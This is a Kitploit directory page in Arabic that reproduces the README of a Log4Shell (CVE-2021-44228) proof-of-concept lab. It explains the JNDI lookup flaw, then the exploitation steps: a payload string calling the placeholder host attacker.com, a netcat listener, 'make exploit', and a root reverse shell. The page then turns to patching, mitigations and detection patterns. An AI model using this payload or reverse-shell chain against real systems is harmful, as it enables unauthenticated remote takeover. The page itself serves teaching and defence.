Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4shell — Log4Shell (CVE-2021-44228) PoC | Kitploit
أدوات/GitHubGitHub/arabindadora/log4shell
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأداة الوصول عن بعدمختبرات وتدريب عملي
GitHubarabindadora/log4shell

log4shell

Log4Shell (CVE-2021-44228) PoC

عرض المستودع
2منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Log4Shell (CVE-2021-44228) إثبات المفهوم

الهدف

إعادة إنتاج واستغلال ومعالجة ثغرة CVE حرجة معروفة في بيئة Docker معزولة.

يوضح إثبات المفهوم هذا CVE-2021-44228 (Log4Shell) في تطبيق Spring Boot.

1. وصف الثغرة

CVE: 2021-44228

CVSS: 10.0 (حرجة)

المكوّن المتأثر: Apache Log4j (<= 2.14.1)

كيف يعمل المكوّن؟

  • Log4j هي مكتبة تسجيل شهيرة للغة Java.
  • تدعم الاستعلامات (${...}) لحل القيم ديناميكيًا داخل رسائل السجل.
  • أحد هذه الاستعلامات هو JNDI، والذي يمكنه جلب القيم عبر LDAP.

كيف تعمل الثغرة؟

  • يقوم المهاجم بتسميم تطبيق الضحية بسلسلة استعلام JNDI خبيثة مثل ${jndi:ldap://attacker.com:1389/a}.
  • يقوم تطبيق الضحية الذي يعمل بإصدار Log4j هشّ بتقييم السلسلة الخبيثة أثناء تسجيل السجلات.
  • يؤدي ذلك إلى تشغيل طلب JNDI إلى خادم LDAP الذي يتحكم فيه المهاجم.
  • يستجيب خادم LDAP بمرجع خبيث إلى كود Java البايتي (bytecode).
  • تقوم JVM الخاصة بالضحية بتحميل كود البايت وتنفيذه، مما يؤدي إلى تنفيذ عن بُعد (RCE).
تنزيل الأداة

كيف يعمل الاستغلال؟

  1. يقوم تطبيق الضحية بتسجيل مدخلات يقدمها المهاجم من رأس HTTP.
  2. يستجيب خادم LDAP الخاص بالمهاجم بمرجع إلى Exploit.class.
  3. يجلب الضحية Exploit.class عبر HTTP.
  4. يعمل المُهيئ الثابت (Static initializer) في Exploit، مما يؤدي إلى إنشاء قشرة عكسية عائدة إلى المهاجم.

2. المخاطر

  • الأثر: تنفيذ عن بُعد بدون مصادقة - أعلى شدة ممكنة.

  • من/ما المعرض للخطر:

    • أي تطبيق Java يستخدم Log4j <= 2.14.1.
    • الخدمات الموجّهة للإنترنت والداخلية التي تسجل مدخلات يتحكم فيها المستخدم (مثل رؤوس HTTP).
  • النتائج:

    • اختراق النظام (الوصول إلى shell).
    • تسريب البيانات.
    • التنقل داخل الشبكات الداخلية.
    • تجاوز الدفاعات الطرفية (الهجمات عبر الخدمات الداخلية).

3. إثبات المفهوم

المتطلبات الأساسية

  1. docker + docker-compose
  2. netcat
  3. make

البناء والتشغيل

root@kitploit:~
make build start

الاستغلال

  1. شغّل مستمع netcat:
root@kitploit:~
nc -l 4444
  1. قم بتشغيل الاستغلال:
root@kitploit:~
make exploit
  1. يستقبل netcat قشرة عكسية من الضحية:
root@kitploit:~
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. المعالجة

الإصلاح المفضّل

  • قم بالترقية إلى Log4j 2.17.1 أو إصدار أحدث.
  • هذا هو الإصلاح الكامل والطويل الأمد الوحيد. الإصدارات السابقة تم تصحيحها جزئيًا لكنها ما زالت تترك ثغرات:
    • CVE-2021-45046: تنفيذ عن بُعد عبر إعدادات تسجيل غير افتراضية
    • CVE-2021-45105: حجب الخدمة (DoS) عبر استعلامات ذاتية المرجع
    • CVE-2021-44832: تنفيذ عن بُعد عبر بعض إعدادات JDBC appender
root@kitploit:~
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

إجراءات تخفيف مؤقتة (إذا تعذرت الترقية)

  1. كسب الوقت
  • تقييد سلاسل الاستغلال الواردة (أنماط ${jndi:) عبر WAF أو وسيط (middleware).
  • تقييد حركة LDAP الصادرة من خوادم التطبيقات عبر تصفية الحركة الصادرة (egress filtering).
  1. تعطيل الاستعلامات:
root@kitploit:~
-Dlog4j2.formatMsgNoLookups=true
  1. تحصين JVM:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

إجراءات تخفيف تشغيلية

  1. تدقيق التبعيات وبيئة التشغيل
  • إنشاء SBOM (gradle dependencies, Snyk, Wiz، إلخ).
  • البحث في الصور/الخوادم المنشورة عن log4j-core-*.jar، بما في ذلك ملفات JAR الكاملة (fat JARs).
  • فرز وتحديد أولويات إجراءات التخفيف لأكثر أعباء العمل خطورة.
  1. المراقبة والكشف
  • راقب محاولات الاستغلال في السجلات (${jndi:...}, ${${lower:j}ndi:...}, إلخ).
  • راقب حركة LDAP الصادرة بحثًا عن اتصالات رد (callbacks).
  • تعامل مع النتائج على أنها اختراقات محتملة، وارفعها للاستجابة للحوادث (تحقيق جنائي، إزالة القطع الأثرية الخبيثة، تدوير الأسرار، إلخ).
  1. تصحيحات البائعين
  • تابع النشرات الأمنية للبائعين (مثل Elasticsearch) - كثير منهم يوزعون نسخًا مدمجة من Log4j.
  • طبّق التصحيحات السريعة أو الحلول البديلة المقدمة حتى تتوفر التصحيحات الرسمية.
  1. تحسينات استراتيجية
  • فرض سياسة "الرفض افتراضيًا" لتصفية حركة المرور الصادرة.
  • فرض فحص التبعيات في CI/CD.
  • توثيق دليل الاستجابة (playbooks) رسميًا حتى تعرف الفرق ماذا تفعل بالضبط خلال ثغرة "CVSS 10.0" القادمة.
  • تنفيذ تمارين المرونة/الطاولة لاختبار الجاهزية لحادث "من فئة Log4Shell الجديد".

5. المراجع

  • Apache Security Advisories